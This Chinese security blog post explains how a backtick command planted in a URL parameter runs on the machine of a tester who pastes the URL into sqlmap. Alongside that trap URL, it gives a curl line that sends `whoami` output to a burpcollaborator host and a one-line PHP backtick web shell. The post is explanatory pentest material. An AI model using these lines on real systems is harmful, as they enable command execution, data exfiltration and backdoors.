“《反制sqlmap》是个好标题,每每看到这几个字,总能让脚本小子汗流浃背。”
--著名评论家、五星上将麦克阿瑟
前言
当我们拿到下面这样的一个url,如何快速对它进行SQL注入测试呢?对于这种参数乱七八糟的地址,我的答案是 sqlmap一把梭。
https://www.blackflag123.com/s?wd=as&rsv_spt=1&rsv_iqid=0xf93ed7b000004347&issp='12z'&f=8&rsv_bp=1&rsv_idx='2bsz'&ie=utf8&tn='k`ls`_pg'&rsv_dl='tb'&rsv_enter=1&rsv_sug3=3&rsv_sug1=2&rsv_sug7=100&rsv_sug2=0&rsv_btype=i&prefixsug=as&rsp=6&inputT=1077&rsv_sug4=1077
于是我娴熟的打开kali,sqlmap -u “复制粘贴”,一套操作行云流水,自信按下回车键,然后,我就中招了……
sqlmap没有按照我的设想进行注入点的test,而是抛出了错误,并执行了系统命令。仔细观察上图不难发现,上图中的参数里有一部分高亮的字符串—`ls`。
显然,引发这场血案的关键就在于这个特殊的反引号。
正文
反引号是一个非常特殊的符号,在一些操作系统和编程语言里,反引号拥有一些好玩的特性。
例如,在sql中,反引号又被用来标记非保留字,借用反引号可以创建和查询与sql保留字相同的表名和列名,例如:
create table desc; //报错
create table `desc`; //成功
select order from ordata; //报错
select `order` from ordata; //成功
而在linux中,反引号是优先级很高的标记符,相当于数学计算里的小括号,正如数学式子5*(3-1)=10一样,反引号在系统命令里起到内联优先执行的作用。
利用这个特性,我们可以在遇到无回显的命令执行时进行外带
c=curl http://ozr4lv2wck4f3w7na783su3pfgl69v.burpcollaborator.net?a=`whoami`
而在php中,反引号是作为执行运算符的重量级存在。PHP 会尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。于是,一个超屌的一句话木马诞生了。
=`$_GET[_]`;
结论
回过头来看开头提到的sqlmap反制,显然,sqlmap反制这种说法其实不够严谨,准确点说应该是对攻击者的反制,这种反制手法对其他一些命令行工具也同样适用,究其原因还是linux反引号的特性和测试人员粗心大意惹的祸,sqlmap无辜躺枪……这波是标题党的大胜利。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...